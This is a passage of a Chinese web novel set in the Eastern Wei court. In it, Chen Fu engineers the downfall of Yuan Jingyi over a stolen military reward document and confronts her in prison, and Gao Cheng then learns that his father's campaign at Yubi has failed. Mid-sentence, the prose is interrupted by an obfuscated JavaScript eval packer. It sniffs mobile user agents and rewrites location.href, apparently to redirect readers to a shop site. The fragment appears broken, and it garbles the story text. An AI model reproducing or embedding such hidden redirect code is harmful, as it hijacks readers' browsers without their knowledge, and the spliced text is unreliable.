李丞闻言,知无可推脱,膝头一软,跪倒在尘埃里, “大将军!臣……臣罪该万死!” “如实禀来。” “昨夜臣归家,行至永安巷暗处,那元静仪突从暗中闪出,将臣逼至墙角。她道,”他模仿那妇人腔调,“‘李丞,明人不说暗话。我冷眼瞧了多时,前番你还整日晃荡,近来却日日捧着文书疾走,你掌了那晋阳机密之务了?我说得可对?’” 李丞额间沁出涔涔冷汗,“她言道,‘大王即将兵发玉璧,眼下正是发财良机。有位贵客说,只要你把怎么认“粟米三千石”的法子吐出来……’她说着,塞给臣五枚金铤,道‘事成之后,再予三十金。我与琅琊公主,共设红罗帐与你同乐……难道你不想尝尝,世子的女人……是何等滋味?’” 车内残余之温情,霎时无影无踪。 陈扶侧目,高澄膝上那只手陡然绷紧,指节凸起,青筋虬盘皮肉之下。 “臣惊骇万分,厉声拒绝,‘此乃叛国大罪,你有命拿,也无命去花!’她见利诱不成,冷笑挑拨,‘你跟着高澄能有什么前程?他性子狠戾,赏罚随心,那陈扶又人小鬼大,只怕不出几日,便能想出更妥之密法,你迟早被弃!不如得了钱财,趁战时混乱逃往西边。’” “臣再次严拒,她见实在说不通,便恶狠狠威胁:‘李丞,今夜之事,你就当从未发生,若敢告发,我便一口咬定是你寻我,挑唆我去寻买家!看大将军是信不得志的你,还是信枕边的我?’臣煎熬一夜,原想着她诱臣不得,不会轻举妄动,谁知方才清点文书,竟发现《晋阳出师旌赏令》已然失窃。” 他重重叩首,声带哭腔,“那上头光是‘蜀锦''‘粟米''之记载就有七处,西贼算手若反复推敲,恐能破译啊!臣一刻不敢耽搁,特来请死,并请大将军即刻下令擒贼!” “李丞,抬起头来。” 李丞惶然抬头,对上那双冷电般的眼。 “昨夜遇她,在永安巷何处?具体时辰?” “回大将军,在永安巷靠近朱雀街的拐角,亥时三刻左右。” “元静仪身着何衣?可有佩饰?” “她……她穿着一件绛紫色绣金边的襦裙,发髻上……插着一支金雀衔珠步摇。” “她塞给你的五金,是何样式?现在何处?” “是……是五枚融过的金铤,臣不敢携带,藏于家中书斋第三格暗隙之中。” “你言文书失窃,最后一次见那《晋阳出师旌赏令》,却是何时?” “昨日申时,臣核对后放于正堂案上,欲待今日大将军过目就发走。” 一连串细节拷问,李丞对答虽惶恐,或有所思,然并无滞涩矛盾之处,高澄眼中审视褪去,寒意更盛。 转向刘桃枝,沉冷道:“传令高浚!即刻封锁邺城所有城门,严查出入!命斛律光调五百轻骑,全城搜捕元静仪!” “李丞,卿即刻前往廷尉,将方才所言,一字不漏,禀明于廷尉卿陆操。令他立即派人封了崔括家,里外搜检。崔括与元静仪之子,一并传唤看管!” “臣……臣领命!”李丞爬起,踉跄奔去。 高澄折回车厢。 大手覆上陈扶手背,指尖传来微凉,“你的生辰,怕是……” 陈扶反手回握住他,“自是正事要紧。” 高澄猛地掀帘,对着车夫断喝:“回东柏堂!” 元玉仪正对镜理妆,闻得脚步声,忙起身开门相迎,待看清高澄面色,笑意顿时凝住,那双凤眸不见半分温存,滚着煞气沉甸甸盯着她。 “元静仪呢?”高澄开口,字字如冰。 元玉仪最惧他这般冷面修罗的模样,心尖发颤,强自稳着嗓音:“晌午前……还在的,许是、许是归家去了?” 他未再语,只那般盯着她。 门外传来急促脚步声,一亲卫疾奔而入,单膝点地,“大将军!永安公在城南门截住了元静仪,从其身上搜出了失窃文书!” “那元静仪乘一辆不起眼的青篷小车,混在出城百姓之中,神色虽强作镇定,眼风却飘忽不定。永安公例行盘问,她言辞闪烁,句句推搡。更见她双手不自觉地紧护胸前,形态忸怩可疑。永安公顾及她身份,不便用强,遂唤来两名仆妇,将其带入旁室搜检。在其贴身小衣之内,搜出了以布包裹的《晋阳出师旌赏令》!” 高澄闻报,眼中寒光一闪,厉令:“即刻押送廷尉,我亲自审问!”视线略过元玉仪,扫向赶来的亲卫队主阿古,“你亲自守住后院!没有我的命令,她若踏出房门半步……尔以同罪论处!” 此言一出,不仅元玉仪面无人色,连阿古也闪过一丝惊惧。 待高澄走远,阿古缓步踱至元玉仪面前,上下打量着瑟瑟发抖的她,嘴角扯出一抹残酷冷笑。 “琅琊公主?嘿,只怕这金尊玉贵的封号,顶不了多久了。” 元玉仪强撑着最后一丝气力,颤声问:“你……你……什么意思?” “什么意思?”阿古逼近一步,“方才没听到么?你那位好姐姐,竟敢偷大将军的文书!知道这是什么罪过吗?”他做个抹脖子的手势,“哼,你们姐妹整日一处,装什么无辜,你能跑得了?!” 元玉仪支撑不住,瘫坐锦榻上,“不……不……” 阿古冷笑更甚,环顾这间充斥着艳香的房间,“好好享受这最后的富贵吧!” 语毕,他大步离去,房门“哐当”一声紧闭。 陈扶踱至后院门前,阿古见她来了,朝院内努努嘴,“世子爷案上的东西都敢偷,这姐俩的胆子,真个是肥上了天!” “我初闻时,心下也是一惊。”她话锋微转,“里头那位,现下如何?” 阿古闻言,脸上掠过一丝快意恩仇的狞笑,“正瘫着呢!某家方才,总算出了口恶气!”他嘿然一声,“这死女人一番搅风搅雨,某家差点连性命都填进去!” 陈扶笑道:“干得好,不过大将军既然只是看着她,说明并不怀疑她参与其中。” “啊?”阿古面色一僵,“那……那陈女史,某吓唬她这事,可不敢叫大将军知晓。” “自然,我替阿古大哥去劝劝她,莫要胡言,阿古大哥只当未曾见我进去过,可好?” “当然!” 元玉仪浑身冰凉瘫坐着,阿古淬了毒的话语如跗骨之蛆,在她心里反复撕咬。高澄那冷厉眼神,挥之不去……姐姐元静仪究竟闯下了何等滔天大祸…… 脚步声轻轻响起。 她抬起泪眼,见一人影走了进来,临到近处,才看清是陈扶。 “陈……” “我实在好奇,你那好姐姐,究竟是如何‘帮’你的?竟能将你‘帮’到如今这般……山穷水尽的地步?” “啊,她是这般‘帮’你的:明知你沦落为孙腾家妓,也不曾为你赎身。你寄居崔家檐下,她时时暗示,要你自觉离去。直至大将军看上了你,她才热络贴上来,忙不迭地用你,换真金白银。对你说着共同伺候是为你固宠,却忙着她夫君的前程,她儿子的官位。” 黑漆漆的眸欣赏着她的脸色,勾起唇角,“不过也能理解,真助你入了大将军府,她还如何借你出入东柏堂,攀附大将军啊?” 元玉仪哭笑一声,戚戚然垂下头。 在崔家遭受的冷遇,以及近来,姐姐明里暗里阻挠她向高澄讨要名分的举动,便是她再拙钝,怎会丝毫无觉…… 自己从头至尾,都只是一棵被利用殆尽的摇钱树,一块她通往富贵的垫脚石…… 如今她自己胆大包天,竟还要拉着她一同陪葬…… “大将军案头之物,是能不问自取、私自夹带的?连这点利害都掂量不清,还妄想做大人物的女人?信这等贪婪愚蠢之辈,你不倒霉,谁倒霉?” 元玉仪扑上前,抓住陈扶裙裾,泣不成声:“女史!女史!玉仪知错了!玉仪再也不敢了!求女史救我!玉仪往后什么都听女史的……” 陈扶静立不动,冷眼瞧着她痛哭流涕,哀哀求告,直到元玉仪嗓音嘶哑,几乎脱力,才凉凉开口:“看来,你确实不知内情。” 元玉仪闻言,哭得更是上气不接下气,连连赌咒发誓:“玉仪真的不知!玉仪若知情,天打雷劈!女史明鉴啊!” “既如此,”陈扶语气稍缓,却依旧带着威势,“我便最后给你一次机会。” 元玉仪拼命点头,眼泪纷飞,“求女史教我!求女史指一条活路!” 正堂窗棂外,天色已黑透。 门外传来脚步声,高澄眉头凝霜,玉面晦暗,目光与陈扶视线一触,又淡淡移开。 他走到主位坐下,抬手揉了揉眉心,“元玉仪那边如何?” “回大将军,稚驹一直在堂中处理公务,并不知公主那边具体情况。稚驹已将东柏堂内存档的所有晋阳文书悉数核查了一遍,除那份《晋阳出师旌赏令》外,并无其他缺失。” 说着,她从中拣出几份,轻置于高澄面前,“稚驹虽不知晓密文具体规制,但听得李丞言及,同样词组多次出现便有破译之险。故而将内中重复词句频繁者,另行整理出来,请大将军过目。” 高澄低低“嗯”了一声,目光却并未看向文书,而是再次落在陈扶脸上,看了许久,直到她停下手中动作,也回望过来,他才开口:“你就不问问,元静仪在廷尉,说了些什么?” “廷尉办案,自有法度章程;大将军明察秋毫,自有圣断。稚驹只需做好分内辅弼之事便是。”她语气体贴,带着关切,“可是那元静仪……审问得不顺?” 高澄盯着她,“她招了。但只认偷的是寻常礼单。” “买家可抓到了?” “没有。”高澄语气转冷,“她交出的那枚名刺,以及约定的交易地点,陆操派人去查了,并未追踪到那奸细的踪迹。” 陈扶点了点头,沉吟道:“如此,不外两种可能。要么是对方机警,已然逃脱;要么,是她不敢供出奸细真实动向,否则,岂不是坐实了通敌叛国之罪?”话锋一转,如同闲话家常般问道,“却不知,对方花了多少钱,买这份‘礼单’啊?” “元静仪说,三十金定金,事成之后再付百金。” “百金,”她轻轻笑了出来,“中人十家之产也。买一份朝廷赏赐勋贵的礼品清单?要几代才能赚回这百金?” 这道理浅显,高澄岂会想不到?他冷笑一声,从齿缝里挤出两个字:“贱人!” “依稚驹看,她倒也未必是心向贼国。她眼中并无家国大义,唯有一个‘利’字而已。是为市井贪婪,铤而走险罢了。” “你倒公允,”高澄面色稍松,“她被李丞指证后,便反口攀咬,说是李丞陷害于她。” “李丞与元静仪素无交集,亦无相碍,他害她作何?若说李丞真起加害之心,”她微微偏头,盈盈笑问,“也该是冲着稚驹来吧?” 高澄看着她坦然的目光,心中最后一丝因元静仪攀咬而起的疑虑,烟消云散。 本还想告知她,元静仪也攀咬了她,又觉已无必要。她方才那句轻描淡写的话,已点出关键,她与李丞之间存在职务之竞,这两人勾结起来去害一个元静仪,从动机上就站不住脚。 心结既去,顿感轻松,起身拉住陈扶的手腕,“走,随我去后院,见见那元玉仪。” 后院厢房内,元玉仪见那玄色袍角踏入房门,立即跪伏在地。 她肩头轻颤,如同风中柔荑,却不是为自己求饶,只抽噎着道:“大将军……玉仪有罪……玉仪愚钝,直至事发,才……才恍然想到一事……” 高澄驻足,垂眸睨着她,从喉间滚出一个字:“说。” “今晨,姐姐曾对玉仪说过……说过那李丞,说他‘看着贼眉鼠眼的,没想到是个坐怀不乱的……那个,那个什么惠’晌午的时候,那李丞便慌张来寻姐姐,玉仪当时懵懂,未作多想,而今想来,姐姐和那李丞应有共谋,但玉仪真的不知二人要偷大将军的文书呐……” 她话语断续,错位的信息与后知后觉的惊恐交织,反添几分真实。 高澄眸光一凛,俯身逼近一步,“既如此,为何不早报?” 元玉仪泪落得更急,“非是玉仪不说,是、是直至方才,将前因后果反复思量,才骤然惊觉的……玉仪愚笨……” 陈扶看眼高澄,缓声开口:“从只言片语就了悟元静仪包藏祸心,确是难为公主了。她虽无急智,却能在悟出的第一时间,便据实禀告大将军,还算不糊涂。” 她说着,目光似无意般扫过元玉仪。 元玉仪会意,抬起朦胧泪眼,痴痴望定高澄,“大将军,玉仪知错了……玉仪自请搬离东柏堂,还请大将军为了机密万全,派遣亲卫入内护卫……玉仪虽一刻都不想离开大将军身侧……可只要大将军安,大将军的社稷安,”她声音哽咽,目光满是依恋,“哪怕……哪怕搬出去后,会被大将军就此冷落,渐渐遗忘……玉仪也认了!” 高澄本就偏爱柔媚顺从、以他为天之姿态,见她宁肯自身承受冷落,也要为他着想,哭得又实在可怜,那腔因元静仪而起的迁怒,不觉便散了大半。 元玉仪觑准时机,起身扑入他怀中,仰起那张沾露芙蓉面,“大将军……三载前寒食节,大将军封街搜查,叫玉仪抬起头来,”泪眼盈盈直望进高澄眼底,“玉仪抬眼,正见大将军春山玉颜,玉仪不知为何,心魄为之一紧。后来细细思之,才知……是心动之故。” 陈扶轻笑,“难怪她这般顺从大将军,原是一见钟情啊。”她顿了顿,自言自语般补上一句,“不过,对大将军一见倾心,原也是再正常不过之事。” 元玉仪柔柔搂住高澄的腰,将脸埋在他胸前,“妾自挣脱贱籍,便对月立誓,此生必得寻个心爱之郎君,才肯将身心托付……那日街角仓皇一顾,便知是命里的天魔星来了……” 高澄心弦微动。 以往他只觉是自个儿权势煊赫,捡了她,她便只能跟着。可如今细想,以她这般容貌,有多少机会依托男子,又何必寄人篱下,苦熬岁月? 若她当真在万千人海里独独认定了他,那这份绝异姿容,便不仅是可供狎玩之器,倒成了他个人魅力的鲜活印证。 再串联起她往日在自己身边那种患得患失、小心翼翼的情态,竟品出几分宿命般的滋味来。 他不由伸出手,扶上元玉仪单薄的肩头,将人拢在怀中,语气也缓和下来,“你既全然不知内情,便不必去廷尉受那份罪了。至于搬出去后住何处……” “北方有佳人,遗世而独立。” 陈扶忽而出声打断,她似被元玉仪的容颜摄去心魄般,不自觉上前,将元玉仪颊边散落的几缕青丝别到耳后,彻底露出那张即便泪痕狼藉、依旧难掩倾国颜色的脸, “一顾倾人城,再顾倾人国。宁不知倾城与倾国?佳人难再得。”* 她转眸看向高澄,“公主这般仙姿玉色,放眼天下,能有几人?技艺可教,性情可调,唯有这倾城之貌乃是天赐,可遇而不可求。大将军英雄气概,视红颜如浮云过眼,若换作稚驹是儿郎,”她唇角勾起抹玩笑弧度,“怕早忍不住用那名分一栓,牢牢占在府里,不容他人窥伺了。” “佳人难再得。”高澄细细品咂着这五个字。 是啊,元玉仪这种级别的美貌,世所稀有,足以在人前席间点缀他的赫赫功业,也唯有这等绝色在侧,才堪彰显他之地位。 若随意安置在外,她容颜惹眼,难保不会被其他豪强觊觎…… 他低笑一声,抬手掐住元玉仪下颌,颇怜惜地抹去她腮边的泪珠,“三日后是吉日,收拾好东西,搬去大将军府吧。” 元玉仪怔怔望着近在咫尺的俊颜,简直不敢相信自己的耳朵。 她原以为,能保住性命已是万幸,不曾想按陈扶所教,踏入那人人艳羡的大将军府,竟这般容易? 心下轰然,恍惚彻悟:当自身之力不足时,跟对人,多么要紧。 高澄耐着性子哄了元玉仪几句,待她止了抽泣,方与陈扶出了房门,对守在院中的刘桃枝冷然下令:“传令陆操,元静仪,可以动刑了。” 夏夜的风,穿过东柏堂庭院,带来池中水汽与草木微腥。 月光如练,倾泻在嶙峋假山石上,一只丹鹤单足立于水边,长喙埋入翅羽,姿态孤高静谧。 陈扶被高澄牵着,走在通往府外的回廊上。 惊心动魄一日下来,她怎会全无波澜,面对高澄这般人物,思虑再周也如履薄冰。掌心不自觉沁出薄汗,恐高澄嫌恶,她指尖微动试图抽回,却被高澄五指一拢,将她汗津津的手更紧攥住。 “稚驹手心有汗。”她轻声解释。 高澄侧头看她,低笑一声,“人食五谷,焉能无汗?”说着还曲指蹭了蹭她掌心。 陈扶稳了稳心神,漾开浅笑,“稚驹恭喜大将军,府上不日便要添一位绝世佳人。公主既真心仰慕大将军,日后定能琴瑟和鸣,解颐增辉。” 高澄视线落在她光洁无瑕的脸上,那上面是由衷为他而喜。 这本该让他无比受用,美人倾心,臣女忠心,一切都顺遂他意,可偏偏,一种空落落的烦躁,像水底疯长的暗草,无声无息缠绕住他的心窍。 “哼。” 陈扶一愣,只当他在嫌自己言语泛泛,态度敷衍,酝酿几息后,笑语吟道: “寒食东风逐絮轻,陌头初见定生平。 前尘枉度皆空负,逢君始觉此生明。 玉貌倾城难再得,芳华未负遇良英。 若非一眼心相系,何会风霜伴君行?” “稚驹不才,以此诗贺大将军纳得佳人,可好?” 呵,真真好诗,心底那丝烦躁越灼,骤然燃成一股无名火,他猛地收紧了手指,力道大得让陈扶轻轻“咝”了一声,吃痛地蹙了蹙眉尖。 忽又似被这声惊醒,立刻松了力道。 “知你有察言观色之能,好替人搭桥铺路,”他语气不算重,却透着股疏离凉意,“不过,内帷纳宠这类事情,不必你来操心。” 陈扶怔了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682940|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔,乖巧应道:“是稚驹多言了,稚驹只是为大将军开心罢了,毕竟……神女有心。” “神女有心确是得趣,然本世子却非襄王,岂会沉溺上心?” 他目光锁住她,语速放缓,“非要说我待谁是真上心……”唇角一勾,后半句悬在半空,等着她的反应。 “大将军自是待麾下之臣子将士,最为上心。”陈扶回望,满目崇敬,“连稚驹这般不过侍奉笔墨的女史,都蒙大将军赐下贵重的生辰之礼,可见大将军待有功之臣、得力之人,是何等慷慨!也正因如此,英才豪杰,才甘愿为大将军冲锋陷阵,乃至效死!” 唇边笑意僵住,未出口的半句话,泥牛入海,再无踪迹。 对,是这样的,他只是……只是不想让身边这个最亲近、最得用的近臣觉得,他高澄,这个志在乾坤之主,会轻易被美色所左右,会因内帷之事牵动心神。 既然她不会这么想自己…… 他松开手,“去罢。” 那抹身量已与元玉仪一般无二的身影,依言敛衽,迈过门槛,走向牛车。车帘被婢女掀起,她踏杌而上,身影没入车厢,未曾回望一眼。 牛车缓启,渐行渐远。 只余夏夜蝉鸣,尖锐而绵长。 - 牛车在东柏堂前停稳,陈扶踏杌而下。 门庭处正忙乱着,几名将军府的家仆正将箱笼细软搬上一辆青篷马车,元玉仪穿着身簇新的水色罗裙,站在车旁。 她一眼瞥见陈扶,立即提着裙摆快步趋前,对着陈扶深深一福。 她咬了咬唇,眼中泛起水光,“我姐姐她……虽罪有应得,但求女史大人不计小人过……能否在大将军面前美言几句,饶她一条性命?她……她终究是玉仪血脉相连的姐姐啊……” 元静仪在廷尉狱中的境况,陈扶早已了然。那般养尊处优的妇人,何曾受过半分皮肉之苦?陆操的刑具甫一加身,不过半日光景,便已熬刑不住,尽数招供,已定了秋后问斩。 “公主,你能安然立于此处,非因我是‘大人’。”幽幽目光定在元玉仪脸上,“只因我所言句句为实。包括那句‘公主全合大将军心意,实乃天赐之福。’” 元玉仪脸白了白,嘴唇翕动几下,终是没有再言,转身踉跄着登上了马车。 甘露凑近,压低声音道:“仙主也太宽宏大量了,她此前那般不识抬举,两次三番犹疑不定,如今倒好,摇身一变,竟登堂入室,入大将军府享富贵去了……” 陈扶目送马车驶远,方轻声道:“我在家不已说过了么?一则,唯她可坐实元静仪之罪,二则,她容颜全合高澄审美,若缺此位,高澄必择新人充之,与其来日面对莫测之变,不如是她。何来我宽宏大量之论?” 言毕,深深看了甘露一眼,方步入东柏堂。 但见内院廊庑之下,侍卫林立,甲胄鲜明,警备非但恢复如常,甚至比以往更加森严。 她穿过庭院,正遇见带队巡哨的队主阿古。 阿古抱拳一礼,黝黑脸庞上绽开憨直笑意,“女史安,今日东柏堂清净多了。” 陈扶亦微微颔首,唇角弯起抹笑意。 步入外间,陈扶笑看向屏风前,原先李丞坐处,此刻端坐着位小郎君。 他身着玄青罗衫,背脊玉山似得笔直,仪态深秀内敛,正凝神翻阅着卷宗,眉眼间一派静气,晨光透过雕花窗棂,在那无俦侧颜上投下交织的影。 见她进来,他搁下手中书卷,起身,拱手,“陈女史。” 陈扶还礼,“二公子。初来听政,如何?” 高孝珩掠过自己手中奏报,“阿耶总揽万机,孝珩躬逢其盛,如观砥柱中流。”看回陈扶,凤目幽潭映月般潋着光晕,“陈女史佐理文书,纲举目张,孝珩颇感所得。” “谢二公子夸赞。” 陈扶盈盈一笑,略一颔首,步入正堂。 高澄正埋首批阅奏报,紧抿唇线,微蹙眉峰,似压着千钧重担。 她悄步上前,如过往千百个清晨一般,收敛他已批阅的文书,沏上茶,而后跪坐于案侧,轻执墨锭,在端砚中徐徐研磨。 “阿耶下月便要西伐玉璧。”高澄头未抬,朱笔在绢帛上走若游龙,“十万大军会于晋阳,粮秣转运,兵员征调,甲胄器械之督造补充,漕运之疏通……皆需在月内厘清定策。”他语气沉肃,压得空气都凝滞几分,“近日,你便不要休沐了,随时候命。” 陈扶轻声应是,从未批的那堆文书里,取出一份轻推至他手边,“新粟入库尚有四处存疑,稚驹昨日下职前标出了。” 高澄正要接过,刘桃枝入内通传,言廷尉来人求见。 一廷尉属吏躬身趋入,禀报道:“大将军,罪妇元静仪在狱中……日日哭嚎,说要面见大将军陈情。” 高澄连眼皮都未掀动一下,只从齿间冷冷迸出四字:“拔了舌头。” 研墨的手一顿,“她毕竟……曾侍奉过大将军。既已明正典刑,判了死罪,又何苦让她再受活罪?不若……便见她一面,听她还有何未尽之言。” 高澄看向那沉静如水的小脸。 若她真与此事有半分牵连,必定唯恐元静仪见了他胡言乱语,怎会劝他去见?自己先前竟因那贱妇攀咬,对她起过一丝疑云,当真是荒谬至极。 “那就你代我走一趟,去看看她还有何疯话要说。”目光瞥过她那浅淡唇瓣,“我家稚驹这张巧嘴,想必……能让她‘安心’上路。” 廷尉大牢深处,浊气熏天。 污秽的血腥气、腐朽的霉味与便溺的恶臭交织成粘稠的网,滞在口鼻之间。 壁上几盏油灯幽暗跳跃,映照出地上窸窣窜行的鼠蚁。 独囚的牢房内,元静仪蜷在霉烂草堆中。 那十根曾戴着金戒指、玉戒指的纤指,如今指甲翻翘,糊满黑红污血。华裳早被鞭笞成褴褛布条,粘连着底下溃脓的皮肉,发散、面灰,唯有一双眸子,因蚀骨怨恨亮得骇人。 廷尉卿陆操恭引着一人入内,挥退所有狱卒,自身亦退了出去。 昏晦光线下,一道素净身影缓步而来。 元静仪死死钉过去,待辨清来人,她猛地自地上弹起,狠命抓住铁栏,发出撕裂般的尖嚎: “陈扶!你这蛇蝎毒妇!是你设局害我!” 陈扶在距牢栏数步处驻足,颇有兴致地打量着她,带稚童腔调的软糯嗓音,幽幽荡开: “李大人告发有功,忠心可鉴,如今高升吏部郎了。永安公高浚恪尽职守,堪为栋梁,加领卫将军。大将军心中甚慰,觉着麾下之人着实可靠、得力。连二公子高孝珩,亦得前来听政。当真是,皆大欢喜。” “贱婢!你不得好死!” 元静仪疯癫咒骂,涎沫混着血丝喷溅在铁栏上。 陈扶恍若未闻,笑靥更甜几分,“啊,还忘了一件喜事。琅琊公主‘大义灭亲’,大将军感其真心,今晨已风风光光,接入大将军府去了。” 咒骂戛然而止。 “你想保全的夫君孩儿。虽说,因二公子一句‘天下有三危:少德而多宠,才下而位高,身无大功而受厚禄’,官职尽褫……不过,因其坚称不知情,性命终究是保住了。”* “为何……为何要如此对我?!”元静仪身体顺着铁栏滑跪于地,嗓音嘶哑欲裂,“就因我与你作对?争抢了大将军些许恩宠……你竟用这等毒计,将我置于死地?!你好狠!” “作对?”陈扶笑意微敛,无声向前,贴近铁栏,“我那日问你的,似乎是‘确定要与我——为——敌?’” 元静仪浑身剧颤,此刻方才彻悟,原来那非是争风吃醋的恫吓,而是不死不休的战书。 所有气力瞬间抽空,烂泥般瘫软在地,额头重重磕在污秽地面,“我服了……我知错了……我不该与你为敌……求你……饶我一命……我不是你的对手……” “你错的,非是与我为敌。” “是你选择与我为敌,却没有使出浑身解数啊。我不是告诉过你么?一定要竭尽全力啊。” 元静仪猛地抬头,撞上那双深不见底的黑眸,那张白皙精致的小脸,在幽暗光线下,鬼魅般阴冷悚然。 是啊……三十五金巨资,只怕是李府倾囊之财了,那可是要尽数充公的脏款,回不到她手里的……还费尽心思,擢升那秘书丞……陈扶为诛她,确是竭尽全力,而自己竟可笑地以为,凭几分颜色、几许床笫功夫便可匹敌,高枕无忧…… “我错了!我真知错了!求你再予一次机会!你既……既肯大发慈悲,放过玉仪,为何不能饶我一次?” “身后有余忘缩手,眼前无路想回头,若非你贪心,我又能拿你如何?我留你妹妹,是因她尚有用处,”她微微偏首,露出一个天真无邪的疑惑神情,“你于我,有何用啊?”* 语毕,如来时一般,悄无声息消失于阴影之中。 秋后问斩……尚有时日……尚有机会……她定要想出……自己对陈扶有何用? 她定要……想出来…… 32.第32章 已是入冬,东柏堂内炭火旺燃,仍驱不散檐角窗缝渗入的寒意。 食案上残羹未撤,一盅羊肉汤凝起薄薄白脂,阿禛低头收拾碗箸,高澄案前凝眉,展读玉璧军报,指节无意识摩挲着砚台。 忽闻脚步声疾,一人未经通传,直闯而入。 来人定在门首,征尘满身,铁甲溅满干涸泥斑与暗赭血痕,满面焦灼倦容,唇裂如旱地,胸膛剧烈起伏着,显是昼夜兼程,未曾停蹄。 见本该随军的段韶突兀现身,高澄瞳孔骤缩,“孝先?” “世子,大王已自玉璧班师,退回晋阳。” 高澄指节一滞,面上却不显,仍持从容,“玉璧不克,诚为憾事。然胜败乃兵家之常,孝先不必如此,整肃朝臣、震慑宵小,澄自有战后措置。” “可……可情形较世子所想更为严峻!”段韶眼圈一红,哽声道,“大王……大王心力交瘁,旧疾骤发,病势……已不容乐观……” “说清楚,‘不容乐观’是何意?” “玉璧一役,我军折损七万,大王亲见将士尸骸枕藉遍野,忧愤攻心,途中已不能理事,终日卧于舆辇。末将离晋阳时,大王时而昏聩,纵使转醒,神气亦衰颓难振……医官……皆束手无策……” 高澄闭目,胸膛深深起伏,三息后,睁开通红一双凤目,“晋阳情势如何?” “诸将惶惶,军心浮动,流言已起……”段韶字字沉痛,“大王召我至榻前,亲口嘱托:‘往昔吾与尔父冒危履险,同佐王室,立不世之功。今吾病笃至此,恐……恐大限将至,尔当谨慎辅弼,克承重担。’遂令我赶来辅佐太原公共镇邺城,命世子即刻启程,赴晋阳相见!” 高澄当即唤入刘桃枝,“速请尚书左仆射。”* 忽闻一阵腹鸣,段韶舔舔裂唇,面露赧色。 高澄将手边温茶推至其面前,段韶欲取食案上的冷饼充饥,被高澄按住,吩咐阿禛:“带段将军用些热膳,更衣净面。” 待二人离去,高澄踱至外间。 高孝珩已搁下书卷,站起身来。 “兄兄往晋阳前,尚有紧要之事待理,顾不得回府了。你归家告知公主,就说兄兄明日启程赴晋阳例会阿翁,无甚大事,嘱她谨守门户,勿要外出。”细瞧儿子面色,“其中利害,阿珩可能明白?” 高孝珩眸光扫过门外,确认无人,方压低声音道:“君不密则失臣,臣不密则失身,几事不密则害成。阿翁病危若提前走漏,邺城暗流必汹涌难制。公主阿母系出元魏,不必、亦不宜知悉详情。孩儿会朝夕定省,伴于其膝下,倘见异动,即请二叔斡旋,并传书于兄兄。”轻声一叹,“兄兄此去,定鼎之余,万望珍重身体,家中诸事,自有孩儿。” 高澄心下甚慰,重重抚过爱子肩头,“好孩子!去吧!” 目送那抹清影离去,转出正堂,步入暖阁。 阁内炭火烧得正暖,一室融融,窗边软榻上,一道纤影窝在锦被与狐裘之中,面向里侧,只露出一段莹白后颈。 高澄近前而坐,将人小心掰过,掌中之人随力道翻了个身,却未醒来。 她呼吸匀长,长睫在眼下投下一圈柔和阴影,因连日随他熬夜,眼下透着淡淡青晕,衬得玉盘小脸显出几分脆弱,像一件精心烧制却胎体极薄的白釉瓷,令人不敢稍用力气。 高澄静静看了会儿,伸出手,指尖拂上她脸颊。 “醒醒,小马儿。” 掌中人儿蹙了蹙眉,眼睫颤动了几下,才迷迷蒙蒙睁开眼。 初醒的眸子氲着水汽,茫然地映出他的身影,高澄握住她小臂,稍一用力,将人从温暖的被窝里拉了起来。 “醒醒神,回去收拾行装,带你出去玩几日。” 陈扶揉揉眼睛,面前之人神情轻松,甚至勾着抹闲适笑意,仿佛真是要带她出游散心。 “去哪玩?” 高澄一手抓过她脚腕,理了理她微皱的白绫袜口,俯身从榻边拾起她一只鞋,替她穿上,直至系好青丝锦履上的暗带,他才唇角一扬,语气随意道:“去晋阳玩。上回生辰,你不是念叨着想去晋阳?” “晋阳出事了。” 高澄动作一顿,倏忽一笑,“你倒灵。” 鞋已穿好,陈扶却没有下榻。 她凝视着他,目光在那笑面上细细逡巡,忽地,伸手拂上他下意识蹙起的眉心。 高澄抓住她手腕,脸上闪过一丝疲惫,“战败当前,又逢骤变……” “稚驹明白,重任猝然压肩,千头万绪,大将军岂能不思,岂能不虑。” 她微微前倾,深潭般的眼眸,映出他巍巍身影, “大将军十岁单人匹马,招降大将高敖曹;十一岁独赴洛阳,与心思难测的元修斡旋;十五岁入邺辅政,满朝勋贵元老以少年欺之,大将军察事以明,执律以强,令秕政尽除,使朝野振肃。” “年少尚如此,如今,大将军早已不是孤身少年。掌中枢、握兵权,麾下文武济济,天命已在!又何惧小小风浪?” 纤细、指尖却又肉感稚嫩的手,紧紧握住净长有力的大手, “稚驹会陪着大将军,保护大将军,竭尽所能帮大将军。” 望着春风般的孩儿面,听着金石之坚的忠言,心中巨石忽卸,难以言喻的安然涌上心头,手臂一揽一收,将人紧紧拥入怀中。 在清香发间沉吟片刻,笑问,“那稚驹帮大将军辨析辨析,接下来,该当如何?” 怀中传来轻语,“天下之事,首务当思,孰为我,孰为敌,孰为友。” “那依稚驹所见,何人为‘敌’‘我’?又何人为‘友’?” “‘我’者,如高氏诸公、麾下部曲、京畿亲兵、崔、宋等凤池忠臣,当施以恩信,使其如铁板一块,坚不可摧。” “‘敌’者,如那些心怀叵测、观望风色的元魏旧臣,则需示以威慑,绝其非分之望,使其不敢轻举妄动。严密监控宫内,软监元蛮、元韶、元孝友、元湛等立场暧昧之宗室,重点防范元大器、元瑾等冥顽死硬之辈。” “‘友’者,如荥阳郑氏、清河崔氏、博陵崔氏、范阳卢氏、赵郡李氏等门阀士族,其虽首重家族利益,然因与大将军及亲信有姻亲通家之好,只要晋阳无变,应无大碍。元斌、元旭等虽也为元氏宗亲,然已明确依附,因势利导即可。” “如此,利剑在手,猛虎在笼,流水循道。大将军便可无后顾之忧,北上晋阳。” 高澄听罢,胸中块垒尽消,只觉豁然开朗,笑道:“不愧是我家稚驹儿。” 李府西厢。 打开的檀木箱里,已叠放了几件里衣、裘袄。 净瓶从柜中翻出件杏子襦裙,“仙主,这春衫……可要带上几件?” “带上。此去非旬日可返,要耽搁数月。” 历史上,高澄再次归邺,已是来年五月。 一旁整理盥洗用具的甘露手下微顿,轻声问道:“仙主此番远行,不知……欲带谁随侍?” 